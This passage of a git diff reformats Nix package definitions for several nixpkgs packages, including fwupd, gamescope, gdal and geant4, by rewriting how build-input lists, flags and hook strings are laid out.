-      mtools
-      dosfstools
-    ];
+  propagatedBuildInputs = [
+    coreutils
+    unzip
+    zip
+  ]
+  ++ lib.optionals doCheck [
+    mtools
+    dosfstools
+  ];
 
   nativeCheckInputs = [
     which
diff --git a/pkgs/by-name/fw/fwupd/package.nix b/pkgs/by-name/fw/fwupd/package.nix
index e90970e10460..0ac1c911f632 100644
--- a/pkgs/by-name/fw/fwupd/package.nix
+++ b/pkgs/by-name/fw/fwupd/package.nix
@@ -172,18 +172,17 @@ stdenv.mkDerivation (finalAttrs: {
     ./efi-app-path.patch
   ];
 
-  postPatch =
-    ''
-      patchShebangs \
-        contrib/generate-version-script.py \
-        contrib/generate-man.py \
-        po/test-deps
-    ''
-    # in nixos test tries to chmod 0777 $out/share/installed-tests/fwupd/tests/redfish.conf
-    + ''
-      substituteInPlace plugins/redfish/meson.build \
-        --replace-fail "get_option('tests')" "false"
-    '';
+  postPatch = ''
+    patchShebangs \
+      contrib/generate-version-script.py \
+      contrib/generate-man.py \
+      po/test-deps
+  ''
+  # in nixos test tries to chmod 0777 $out/share/installed-tests/fwupd/tests/redfish.conf
+  + ''
+    substituteInPlace plugins/redfish/meson.build \
+      --replace-fail "get_option('tests')" "false"
+  '';
 
   strictDeps = true;
 
@@ -196,84 +195,81 @@ stdenv.mkDerivation (finalAttrs: {
     json-glib
   ];
 
-  nativeBuildInputs =
-    [
-      ensureNewerSourcesForZipFilesHook # required for firmware zipping
-      gettext
-      gi-docgen
-      gobject-introspection
-      meson
-      ninja
-      pkg-config
-      protobufc # for protoc
-      shared-mime-info
-      vala
-      wrapGAppsNoGuiHook
+  nativeBuildInputs = [
+    ensureNewerSourcesForZipFilesHook # required for firmware zipping
+    gettext
+    gi-docgen
+    gobject-introspection
+    meson
+    ninja
+    pkg-config
+    protobufc # for protoc
+    shared-mime-info
+    vala
+    wrapGAppsNoGuiHook
 
-      # jcat-tool at buildtime requires a home directory
-      writableTmpDirAsHomeHook
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+    # jcat-tool at buildtime requires a home directory
+    writableTmpDirAsHomeHook
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      bash-completion
-      curl
-      elfutils
-      fwupd-efi
-      gnutls
-      gusb
-      libarchive
-      libcbor
-      libdrm
-      libgudev
-      libjcat
-      libmbim
-      libqmi
-      libuuid
-      libxmlb
-      modemmanager
-      pango
-      polkit
-      protobufc
-      readline
-      sqlite
-      tpm2-tss
-      valgrind
-      xz # for liblzma
-    ]
-    ++ lib.optionals haveFlashrom [
-      flashrom
-    ];
+  buildInputs = [
+    bash-completion
+    curl
+    elfutils
+    fwupd-efi
+    gnutls
+    gusb
+    libarchive
+    libcbor
+    libdrm
+    libgudev
+    libjcat
+    libmbim
+    libqmi
+    libuuid
+    libxmlb
+    modemmanager
+    pango
+    polkit
+    protobufc
+    readline
+    sqlite
+    tpm2-tss
+    valgrind
+    xz # for liblzma
+  ]
+  ++ lib.optionals haveFlashrom [
+    flashrom
+  ];
 
-  mesonFlags =
-    [
-      (lib.mesonEnable "docs" true)
-      # We are building the official releases.
-      (lib.mesonEnable "supported_build" true)
-      (lib.mesonOption "systemd_root_prefix" "${placeholder "out"}")
-      (lib.mesonOption "installed_test_prefix" "${placeholder "installedTests"}")
-      "--localstatedir=/var"
-      "--sysconfdir=/etc"
-      (lib.mesonOption "sysconfdir_install" "${placeholder "out"}/etc")
-      (lib.mesonOption "efi_os_dir" "nixos")
-      (lib.mesonEnable "plugin_modem_manager" true)
-      (lib.mesonBool "vendor_metadata" true)
-      (lib.mesonBool "plugin_uefi_capsule_splash" false)
-      # TODO: what should this be?
-      (lib.mesonOption "vendor_ids_dir" "${hwdata}/share/hwdata")
-      (lib.mesonEnable "umockdev_tests" false)
-      # We do not want to place the daemon into lib (cyclic reference)
-      "--libexecdir=${placeholder "out"}/libexec"
-    ]
-    ++ lib.optionals (!enablePassim) [
-      (lib.mesonEnable "passim" false)
-    ]
-    ++ lib.optionals (!haveFlashrom) [
-      (lib.mesonEnable "plugin_flashrom" false)
-    ];
+  mesonFlags = [
+    (lib.mesonEnable "docs" true)
+    # We are building the official releases.
+    (lib.mesonEnable "supported_build" true)
+    (lib.mesonOption "systemd_root_prefix" "${placeholder "out"}")
+    (lib.mesonOption "installed_test_prefix" "${placeholder "installedTests"}")
+    "--localstatedir=/var"
+    "--sysconfdir=/etc"
+    (lib.mesonOption "sysconfdir_install" "${placeholder "out"}/etc")
+    (lib.mesonOption "efi_os_dir" "nixos")
+    (lib.mesonEnable "plugin_modem_manager" true)
+    (lib.mesonBool "vendor_metadata" true)
+    (lib.mesonBool "plugin_uefi_capsule_splash" false)
+    # TODO: what should this be?
+    (lib.mesonOption "vendor_ids_dir" "${hwdata}/share/hwdata")
+    (lib.mesonEnable "umockdev_tests" false)
+    # We do not want to place the daemon into lib (cyclic reference)
+    "--libexecdir=${placeholder "out"}/libexec"
+  ]
+  ++ lib.optionals (!enablePassim) [
+    (lib.mesonEnable "passim" false)
+  ]
+  ++ lib.optionals (!haveFlashrom) [
+    (lib.mesonEnable "plugin_flashrom" false)
+  ];
 
   # TODO: wrapGAppsHook3 wraps efi capsule even though it is not ELF
   dontWrapGApps = true;
diff --git a/pkgs/by-name/ga/galario/package.nix b/pkgs/by-name/ga/galario/package.nix
index 6abfa0fe519e..7dcfafe08f3e 100644
--- a/pkgs/by-name/ga/galario/package.nix
+++ b/pkgs/by-name/ga/galario/package.nix
@@ -32,13 +32,12 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [
-      fftw
-      fftwFloat
-    ]
-    ++ lib.optional enablePython pythonPackages.python
-    ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
+  buildInputs = [
+    fftw
+    fftwFloat
+  ]
+  ++ lib.optional enablePython pythonPackages.python
+  ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
 
   propagatedBuildInputs = lib.optionals enablePython [
     pythonPackages.numpy
diff --git a/pkgs/by-name/ga/gamescope/package.nix b/pkgs/by-name/ga/gamescope/package.nix
index 57a6c6ccc575..a67fa5196963 100644
--- a/pkgs/by-name/ga/gamescope/package.nix
+++ b/pkgs/by-name/ga/gamescope/package.nix
@@ -106,69 +106,67 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      pkg-config
-      ninja
-      wayland-scanner
-      # For `libdisplay-info`
-      python3
-      hwdata
-      edid-decode
-      # For OpenVR
-      cmake
+  nativeBuildInputs = [
+    meson
+    pkg-config
+    ninja
+    wayland-scanner
+    # For `libdisplay-info`
+    python3
+    hwdata
+    edid-decode
+    # For OpenVR
+    cmake
 
-      # calls git describe to encode its own version into the build
-      (buildPackages.writeShellScriptBin "git" "echo ${finalAttrs.version}")
-    ]
-    ++ lib.optionals enableExecutable [
-      makeBinaryWrapper
-      glslang
-    ];
+    # calls git describe to encode its own version into the build
+    (buildPackages.writeShellScriptBin "git" "echo ${finalAttrs.version}")
+  ]
+  ++ lib.optionals enableExecutable [
+    makeBinaryWrapper
+    glslang
+  ];
 
-  buildInputs =
-    [
-      pipewire
-      hwdata
-      xorg.libX11
-      wayland
-      wayland-protocols
-      vulkan-loader
-      glm
-      luajit
+  buildInputs = [
+    pipewire
+    hwdata
+    xorg.libX11
+    wayland
+    wayland-protocols
+    vulkan-loader
+    glm
+    luajit
+  ]
+  ++ lib.optionals enableWsi [
+    vulkan-headers
+  ]
+  ++ lib.optionals enableExecutable (
+    wlroots.buildInputs
+    ++ [
+      # gamescope uses a custom wlroots branch
+      xorg.libXcomposite
+      xorg.libXcursor
+      xorg.libXdamage
+      xorg.libXext
+      xorg.libXi
+      xorg.libXmu
+      xorg.libXrender
+      xorg.libXres
+      xorg.libXtst
+      xorg.libXxf86vm
+      libavif
+      libdrm
+      libei
+      SDL2
+      libdecor
+      libinput
+      libxkbcommon
+      gbenchmark
+      pixman
+      libcap
+      stb
+      lcms
     ]
-    ++ lib.optionals enableWsi [
-      vulkan-headers
-    ]
-    ++ lib.optionals enableExecutable (
-      wlroots.buildInputs
-      ++ [
-        # gamescope uses a custom wlroots branch
-        xorg.libXcomposite
-        xorg.libXcursor
-        xorg.libXdamage
-        xorg.libXext
-        xorg.libXi
-        xorg.libXmu
-        xorg.libXrender
-        xorg.libXres
-        xorg.libXtst
-        xorg.libXxf86vm
-        libavif
-        libdrm
-        libei
-        SDL2
-        libdecor
-        libinput
-        libxkbcommon
-        gbenchmark
-        pixman
-        libcap
-        stb
-        lcms
-      ]
-    );
+  );
 
   postInstall = lib.optionalString enableExecutable ''
     # using patchelf unstable because the stable version corrupts the binary
diff --git a/pkgs/by-name/ga/gammu/package.nix b/pkgs/by-name/ga/gammu/package.nix
index e914f59357e4..95e6d79598a2 100644
--- a/pkgs/by-name/ga/gammu/package.nix
+++ b/pkgs/by-name/ga/gammu/package.nix
@@ -46,21 +46,20 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  buildInputs =
-    [
-      bash
-      bluez
-      libusb1
-      curl
-      gettext
-      sqlite
-      libiconv
-    ]
-    ++ lib.optionals dbiSupport [
-      libdbi
-      libdbiDrivers
-    ]
-    ++ lib.optionals postgresSupport [ libpq ];
+  buildInputs = [
+    bash
+    bluez
+    libusb1
+    curl
+    gettext
+    sqlite
+    libiconv
+  ]
+  ++ lib.optionals dbiSupport [
+    libdbi
+    libdbiDrivers
+  ]
+  ++ lib.optionals postgresSupport [ libpq ];
 
   meta = with lib; {
     homepage = "https://wammu.eu/gammu/";
diff --git a/pkgs/by-name/ga/gap/package.nix b/pkgs/by-name/ga/gap/package.nix
index e3cef3d777e1..73df812a7cc2 100644
--- a/pkgs/by-name/ga/gap/package.nix
+++ b/pkgs/by-name/ga/gap/package.nix
@@ -79,11 +79,9 @@ stdenv.mkDerivation rec {
   };
 
   # remove all non-essential packages (which take up a lot of space)
-  preConfigure =
-    lib.optionalString (!keepAll) (removeNonWhitelistedPkgs packagesToKeep)
-    + ''
-      patchShebangs .
-    '';
+  preConfigure = lib.optionalString (!keepAll) (removeNonWhitelistedPkgs packagesToKeep) + ''
+    patchShebangs .
+  '';
 
   buildInputs = [
     readline
diff --git a/pkgs/by-name/ga/gapless/package.nix b/pkgs/by-name/ga/gapless/package.nix
index 9541ab1c910b..88ba5da24373 100644
--- a/pkgs/by-name/ga/gapless/package.nix
+++ b/pkgs/by-name/ga/gapless/package.nix
@@ -36,17 +36,16 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      gtk4
-      libadwaita
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gstreamer
-    ]);
+  buildInputs = [
+    gtk4
+    libadwaita
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gstreamer
+  ]);
 
   passthru.updateScript = gitUpdater {
     rev-prefix = "v";
diff --git a/pkgs/by-name/ga/gargoyle/package.nix b/pkgs/by-name/ga/gargoyle/package.nix
index 017bd76d7c18..3722c7a16240 100644
--- a/pkgs/by-name/ga/gargoyle/package.nix
+++ b/pkgs/by-name/ga/gargoyle/package.nix
@@ -50,23 +50,22 @@ stdenv.mkDerivation rec {
     qt6.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      fluidsynth
-      fmt
-      freetype
-      libjpeg
-      libopenmpt
-      libpng
-      libsndfile
-      libvorbis
-      mpg123
-      qt6.qtbase
-      qt6.qtmultimedia
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      qt6.qtwayland
-    ];
+  buildInputs = [
+    fluidsynth
+    fmt
+    freetype
+    libjpeg
+    libopenmpt
+    libpng
+    libsndfile
+    libvorbis
+    mpg123
+    qt6.qtbase
+    qt6.qtmultimedia
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    qt6.qtwayland
+  ];
 
   cmakeFlags = [
     (lib.cmakeFeature "INTERFACE" "QT")
diff --git a/pkgs/by-name/ga/gavin-bc/package.nix b/pkgs/by-name/ga/gavin-bc/package.nix
index 5cb9eaf1d887..fe884ea4bf3b 100644
--- a/pkgs/by-name/ga/gavin-bc/package.nix
+++ b/pkgs/by-name/ga/gavin-bc/package.nix
@@ -36,14 +36,13 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.optional (historyType == "editline") editline)
     ++ (lib.optional (historyType == "readline") readline);
 
-  configureFlags =
-    [
-      "--disable-nls"
-    ]
-    ++ (lib.optional (predefinedBuildType != "") "--predefined-build-type=${predefinedBuildType}")
-    ++ (lib.optional (historyType == "editline") "--enable-editline")
-    ++ (lib.optional (historyType == "readline") "--enable-readline")
-    ++ (lib.optional (historyType == "internal") "--enable-internal-history");
+  configureFlags = [
+    "--disable-nls"
+  ]
+  ++ (lib.optional (predefinedBuildType != "") "--predefined-build-type=${predefinedBuildType}")
+  ++ (lib.optional (historyType == "editline") "--enable-editline")
+  ++ (lib.optional (historyType == "readline") "--enable-readline")
+  ++ (lib.optional (historyType == "internal") "--enable-internal-history");
 
   meta = {
     homepage = "https://git.gavinhoward.com/gavin/bc";
diff --git a/pkgs/by-name/gc/gcs/package.nix b/pkgs/by-name/gc/gcs/package.nix
index 96bfbab97fc0..6d4c8567febc 100644
--- a/pkgs/by-name/gc/gcs/package.nix
+++ b/pkgs/by-name/gc/gcs/package.nix
@@ -73,21 +73,20 @@ buildGoModule rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      mupdf
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libGL
-      libX11
-      libXcursor
-      libXrandr
-      libXinerama
-      libXi
-      libXxf86vm
-      fontconfig
-      freetype
-    ];
+  buildInputs = [
+    mupdf
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libGL
+    libX11
+    libXcursor
+    libXrandr
+    libXinerama
+    libXi
+    libXxf86vm
+    fontconfig
+    freetype
+  ];
 
   # flags are based on https://github.com/richardwilkes/gcs/blob/master/build.sh
   flags = [ "-a" ];
diff --git a/pkgs/by-name/gd/gd/package.nix b/pkgs/by-name/gd/gd/package.nix
index cadb226b1190..7bc498ef1fdd 100644
--- a/pkgs/by-name/gd/gd/package.nix
+++ b/pkgs/by-name/gd/gd/package.nix
@@ -38,12 +38,11 @@ stdenv.mkDerivation rec {
 
   hardeningDisable = [ "format" ];
 
-  configureFlags =
-    [
-      "--enable-gd-formats"
-    ]
-    # -pthread gets passed to clang, causing warnings
-    ++ lib.optional stdenv.hostPlatform.isDarwin "--enable-werror=no";
+  configureFlags = [
+    "--enable-gd-formats"
+  ]
+  # -pthread gets passed to clang, causing warnings
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--enable-werror=no";
 
   nativeBuildInputs = [
     autoconf
@@ -51,20 +50,19 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      zlib
-      freetype
-      libpng
-      libjpeg
-      libwebp
-      libtiff
-      libavif
-    ]
-    ++ lib.optionals withXorg [
-      fontconfig
-      libXpm
-    ];
+  buildInputs = [
+    zlib
+    freetype
+    libpng
+    libjpeg
+    libwebp
+    libtiff
+    libavif
+  ]
+  ++ lib.optionals withXorg [
+    fontconfig
+    libXpm
+  ];
 
   outputs = [
     "bin"
diff --git a/pkgs/by-name/gd/gdal/package.nix b/pkgs/by-name/gd/gdal/package.nix
index 609ce18ba532..9444fda09499 100644
--- a/pkgs/by-name/gd/gdal/package.nix
+++ b/pkgs/by-name/gd/gdal/package.nix
@@ -105,49 +105,47 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      bison
-      cmake
-      doxygen
-      graphviz
-      pkg-config
-      python3.pkgs.setuptools
-      python3.pkgs.wrapPython
-      swig
-    ]
-    ++ lib.optionals useJava [
-      ant
-      jdk
-    ];
+  nativeBuildInputs = [
+    bison
+    cmake
+    doxygen
+    graphviz
+    pkg-config
+    python3.pkgs.setuptools
+    python3.pkgs.wrapPython
+    swig
+  ]
+  ++ lib.optionals useJava [
+    ant
+    jdk
+  ];
 
-  cmakeFlags =
-    [
-      "-DGDAL_USE_INTERNAL_LIBS=OFF"
-      "-DGEOTIFF_INCLUDE_DIR=${lib.getDev libgeotiff}/include"
-      "-DGEOTIFF_LIBRARY_RELEASE=${lib.getLib libgeotiff}/lib/libgeotiff${stdenv.hostPlatform.extensions.sharedLibrary}"
-      "-DMYSQL_INCLUDE_DIR=${lib.getDev libmysqlclient}/include/mysql"
-      "-DMYSQL_LIBRARY=${lib.getLib libmysqlclient}/lib/${
-        lib.optionalString (libmysqlclient.pname != "mysql") "mysql/"
-      }libmysqlclient${stdenv.hostPlatform.extensions.sharedLibrary}"
-    ]
-    ++ lib.optionals finalAttrs.doInstallCheck [
-      "-DBUILD_TESTING=ON"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      "-DCMAKE_SKIP_BUILD_RPATH=ON" # without, libgdal.so can't find libmariadb.so
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DCMAKE_BUILD_WITH_INSTALL_NAME_DIR=ON"
-    ]
-    ++ lib.optionals (!useTiledb) [
-      "-DGDAL_USE_TILEDB=OFF"
-    ]
-    ++ lib.optionals (!useJava) [
-      # This is not strictly needed as the Java bindings wouldn't build anyway if
-      # ant/jdk were not available.
-      "-DBUILD_JAVA_BINDINGS=OFF"
-    ];
+  cmakeFlags = [
+    "-DGDAL_USE_INTERNAL_LIBS=OFF"
+    "-DGEOTIFF_INCLUDE_DIR=${lib.getDev libgeotiff}/include"
+    "-DGEOTIFF_LIBRARY_RELEASE=${lib.getLib libgeotiff}/lib/libgeotiff${stdenv.hostPlatform.extensions.sharedLibrary}"
+    "-DMYSQL_INCLUDE_DIR=${lib.getDev libmysqlclient}/include/mysql"
+    "-DMYSQL_LIBRARY=${lib.getLib libmysqlclient}/lib/${
+      lib.optionalString (libmysqlclient.pname != "mysql") "mysql/"
+    }libmysqlclient${stdenv.hostPlatform.extensions.sharedLibrary}"
+  ]
+  ++ lib.optionals finalAttrs.doInstallCheck [
+    "-DBUILD_TESTING=ON"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    "-DCMAKE_SKIP_BUILD_RPATH=ON" # without, libgdal.so can't find libmariadb.so
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DCMAKE_BUILD_WITH_INSTALL_NAME_DIR=ON"
+  ]
+  ++ lib.optionals (!useTiledb) [
+    "-DGDAL_USE_TILEDB=OFF"
+  ]
+  ++ lib.optionals (!useJava) [
+    # This is not strictly needed as the Java bindings wouldn't build anyway if
+    # ant/jdk were not available.
+    "-DBUILD_JAVA_BINDINGS=OFF"
+  ];
 
   buildInputs =
     let
@@ -235,15 +233,14 @@ stdenv.mkDerivation (finalAttrs: {
     ++ nonDarwinDeps;
 
   pythonPath = [ python3.pkgs.numpy ];
-  postInstall =
-    ''
-      wrapPythonProgramsIn "$out/bin" "$out $pythonPath"
-    ''
-    + lib.optionalString useJava ''
-      cd $out/lib
-      ln -s ./jni/libgdalalljni${stdenv.hostPlatform.extensions.sharedLibrary}
-      cd -
-    '';
+  postInstall = ''
+    wrapPythonProgramsIn "$out/bin" "$out $pythonPath"
+  ''
+  + lib.optionalString useJava ''
+    cd $out/lib
+    ln -s ./jni/libgdalalljni${stdenv.hostPlatform.extensions.sharedLibrary}
+    cd -
+  '';
 
   enableParallelBuilding = true;
 
@@ -277,48 +274,47 @@ stdenv.mkDerivation (finalAttrs: {
     "gdrivers/gdalhttp.py"
     "gdrivers/wms.py"
   ];
-  disabledTests =
-    [
-      # tests that attempt to make network requests
-      "test_jp2openjpeg_45"
-      # tests that require the full proj dataset which we don't package yet
-      # https://github.com/OSGeo/gdal/issues/5523
-      "test_transformer_dem_overrride_srs"
-      "test_osr_ct_options_area_of_interest"
-      # ZIP does not support timestamps before 1980
-      "test_sentinel2_zipped"
-      # tries to call unwrapped executable
-      "test_SetPROJAuxDbPaths"
-      # failing for unknown reason
-      # https://github.com/OSGeo/gdal/pull/10806#issuecomment-2362054085
-      "test_ogr_gmlas_billion_laugh"
-      # Flaky on hydra, collected in https://github.com/NixOS/nixpkgs/pull/327323.
-      "test_ogr_gmlas_huge_processing_time"
-      "test_ogr_gpkg_background_rtree_build"
-      "test_vsiaz_fake_write"
-      "test_vsioss_6"
-      # flaky?
-      "test_tiledb_read_arbitrary_array"
-      # tests for magic numbers, seem to change with different poppler versions,
-      # and architectures
-      "test_pdf_extra_rasters"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [
-      # likely precision-related expecting x87 behaviour
-      "test_jp2openjpeg_22"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # flaky on macos
-      "test_rda_download_queue"
-      # https://github.com/OSGeo/gdal/commit/fa0ac7544af837613e9831d4d2841dd6bf735e1f
-      "test_ogr_gpkg_arrow_stream_huge_array"
-    ]
-    ++ lib.optionals (lib.versionOlder proj.version "8") [
-      "test_ogr_parquet_write_crs_without_id_in_datum_ensemble_members"
-    ]
-    ++ lib.optionals (!usePoppler) [
-      "test_pdf_jpx_compression"
-    ];
+  disabledTests = [
+    # tests that attempt to make network requests
+    "test_jp2openjpeg_45"
+    # tests that require the full proj dataset which we don't package yet
+    # https://github.com/OSGeo/gdal/issues/5523
+    "test_transformer_dem_overrride_srs"
+    "test_osr_ct_options_area_of_interest"
+    # ZIP does not support timestamps before 1980
+    "test_sentinel2_zipped"
+    # tries to call unwrapped executable
+    "test_SetPROJAuxDbPaths"
+    # failing for unknown reason
+    # https://github.com/OSGeo/gdal/pull/10806#issuecomment-2362054085
+    "test_ogr_gmlas_billion_laugh"
+    # Flaky on hydra, collected in https://github.com/NixOS/nixpkgs/pull/327323.
+    "test_ogr_gmlas_huge_processing_time"
+    "test_ogr_gpkg_background_rtree_build"
+    "test_vsiaz_fake_write"
+    "test_vsioss_6"
+    # flaky?
+    "test_tiledb_read_arbitrary_array"
+    # tests for magic numbers, seem to change with different poppler versions,
+    # and architectures
+    "test_pdf_extra_rasters"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [
+    # likely precision-related expecting x87 behaviour
+    "test_jp2openjpeg_22"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # flaky on macos
+    "test_rda_download_queue"
+    # https://github.com/OSGeo/gdal/commit/fa0ac7544af837613e9831d4d2841dd6bf735e1f
+    "test_ogr_gpkg_arrow_stream_huge_array"
+  ]
+  ++ lib.optionals (lib.versionOlder proj.version "8") [
+    "test_ogr_parquet_write_crs_without_id_in_datum_ensemble_members"
+  ]
+  ++ lib.optionals (!usePoppler) [
+    "test_pdf_jpx_compression"
+  ];
   postCheck = ''
     popd # autotest
   '';
diff --git a/pkgs/by-name/ge/geant4/package.nix b/pkgs/by-name/ge/geant4/package.nix
index d06e2b8e39f3..141e0ba87182 100644
--- a/pkgs/by-name/ge/geant4/package.nix
+++ b/pkgs/by-name/ge/geant4/package.nix
@@ -52,33 +52,32 @@ stdenv.mkDerivation rec {
       --replace '${"$"}{prefix}/${"$"}{PTL_INSTALL_' '${"$"}{PTL_INSTALL_'
   '';
 
-  cmakeFlags =
-    [
-      "-DGEANT4_INSTALL_DATA=OFF"
-      "-DGEANT4_USE_GDML=ON"
-      "-DGEANT4_USE_G3TOG4=ON"
-      "-DGEANT4_USE_QT=${if enableQt then "ON" else "OFF"}"
-      "-DGEANT4_USE_XM=${if enableXM then "ON" else "OFF"}"
-      "-DGEANT4_USE_OPENGL_X11=${if enableOpenGLX11 then "ON" else "OFF"}"
-      "-DGEANT4_USE_INVENTOR=${if enableInventor then "ON" else "OFF"}"
-      "-DGEANT4_USE_PYTHON=${if enablePython then "ON" else "OFF"}"
-      "-DGEANT4_USE_RAYTRACER_X11=${if enableRaytracerX11 then "ON" else "OFF"}"
-      "-DGEANT4_USE_SYSTEM_CLHEP=ON"
-      "-DGEANT4_USE_SYSTEM_EXPAT=ON"
-      "-DGEANT4_USE_SYSTEM_ZLIB=ON"
-      "-DGEANT4_BUILD_MULTITHREADED=${if enableMultiThreading then "ON" else "OFF"}"
-    ]
-    ++ lib.optionals (enableOpenGLX11 && stdenv.hostPlatform.isDarwin) [
-      "-DXQuartzGL_INCLUDE_DIR=${libGLX.dev}/include"
-      "-DXQuartzGL_gl_LIBRARY=${libGLX}/lib/libGL.dylib"
-    ]
-    ++ lib.optionals (enableMultiThreading && enablePython) [
-      "-DGEANT4_BUILD_TLS_MODEL=global-dynamic"
-    ]
-    ++ lib.optionals enableInventor [
-      "-DINVENTOR_INCLUDE_DIR=${coin3d}/include"
-      "-DINVENTOR_LIBRARY_RELEASE=${coin3d}/lib/libCoin.so"
-    ];
+  cmakeFlags = [
+    "-DGEANT4_INSTALL_DATA=OFF"
+    "-DGEANT4_USE_GDML=ON"
+    "-DGEANT4_USE_G3TOG4=ON"
+    "-DGEANT4_USE_QT=${if enableQt then "ON" else "OFF"}"
+    "-DGEANT4_USE_XM=${if enableXM then "ON" else "OFF"}"
+    "-DGEANT4_USE_OPENGL_X11=${if enableOpenGLX11 then "ON" else "OFF"}"
+    "-DGEANT4_USE_INVENTOR=${if enableInventor then "ON" else "OFF"}"
+    "-DGEANT4_USE_PYTHON=${if enablePython then "ON" else "OFF"}"
+    "-DGEANT4_USE_RAYTRACER_X11=${if enableRaytracerX11 then "ON" else "OFF"}"
+    "-DGEANT4_USE_SYSTEM_CLHEP=ON"
+    "-DGEANT4_USE_SYSTEM_EXPAT=ON"
+    "-DGEANT4_USE_SYSTEM_ZLIB=ON"
+    "-DGEANT4_BUILD_MULTITHREADED=${if enableMultiThreading then "ON" else "OFF"}"
+  ]
+  ++ lib.optionals (enableOpenGLX11 && stdenv.hostPlatform.isDarwin) [
+    "-DXQuartzGL_INCLUDE_DIR=${libGLX.dev}/include"
+    "-DXQuartzGL_gl_LIBRARY=${libGLX}/lib/libGL.dylib"
+  ]
+  ++ lib.optionals (enableMultiThreading && enablePython) [
+    "-DGEANT4_BUILD_TLS_MODEL=global-dynamic"
+  ]
+  ++ lib.optionals enableInventor [
+    "-DINVENTOR_INCLUDE_DIR=${coin3d}/include"
+    "-DINVENTOR_LIBRARY_RELEASE=${coin3d}/lib/libCoin.so"
+  ];
 
   nativeBuildInputs = [ cmake ];
 
@@ -102,28 +101,26 @@ stdenv.mkDerivation rec {
       python3
     ];
 
-  propagatedBuildInputs =
-    [
-      clhep
-      expat
-      xercesc
-      zlib
-    ]
-    ++ lib.optionals enableOpenGLX11 [
-      libGL
-      libX11
-    ]
-    ++ lib.optionals enableXM [ motif ]
-    ++ lib.optionals enableQt [ qt5.qtbase ];
+  propagatedBuildInputs = [
+    clhep
+    expat
+    xercesc
+    zlib
+  ]
+  ++ lib.optionals enableOpenGLX11 [
+    libGL
+    libX11
+  ]
+  ++ lib.optionals enableXM [ motif ]
+  ++ lib.optionals enableQt [ qt5.qtbase ];
 
-  postFixup =
-    ''
-      substituteInPlace "$out"/bin/geant4.sh \
-        --replace-fail "export GEANT4_DATA_DIR" "# export GEANT4_DATA_DIR"
-    ''
-    + lib.optionalString enableQt ''
-      wrapQtAppsHook
-    '';
+  postFixup = ''
+    substituteInPlace "$out"/bin/geant4.sh \
+      --replace-fail "export GEANT4_DATA_DIR" "# export GEANT4_DATA_DIR"
+  ''
+  + lib.optionalString enableQt ''
+    wrapQtAppsHook
+  '';
 
   setupHook = ./geant4-hook.sh;
 
diff --git a/pkgs/by-name/ge/gedit/package.nix b/pkgs/by-name/ge/gedit/package.nix
index d76cfd91456a..92b370875960 100644
--- a/pkgs/by-name/ge/gedit/package.nix
+++ b/pkgs/by-name/ge/gedit/package.nix
@@ -51,38 +51,36 @@ stdenv.mkDerivation rec {
     ./correct-gir-lib-path.patch
   ];
 
-  nativeBuildInputs =
-    [
-      desktop-file-utils
-      itstool
-      libxml2
-      meson
-      ninja
-      pkg-config
-      vala
-      wrapGAppsHook3
-      gtk-doc
-      gobject-introspection
-      docbook-xsl-nons
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    desktop-file-utils
+    itstool
+    libxml2
+    meson
+    ninja
+    pkg-config
+    vala
+    wrapGAppsHook3
+    gtk-doc
+    gobject-introspection
+    docbook-xsl-nons
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      glib
-      gsettings-desktop-schemas
-      gspell
-      gtk3
-      libgedit-amtk
-      libgedit-gtksourceview
-      libgedit-tepl
-      libpeas
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gtk-mac-integration
-    ];
+  buildInputs = [
+    glib
+    gsettings-desktop-schemas
+    gspell
+    gtk3
+    libgedit-amtk
+    libgedit-gtksourceview
+    libgedit-tepl
+    libpeas
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gtk-mac-integration
+  ];
 
   # Reliably fails to generate gedit-file-browser-enum-types.h in time
   enableParallelBuilding = false;
diff --git a/pkgs/by-name/ge/gel/package.nix b/pkgs/by-name/ge/gel/package.nix
index 4c21df0fc6cf..62201b69a14d 100644
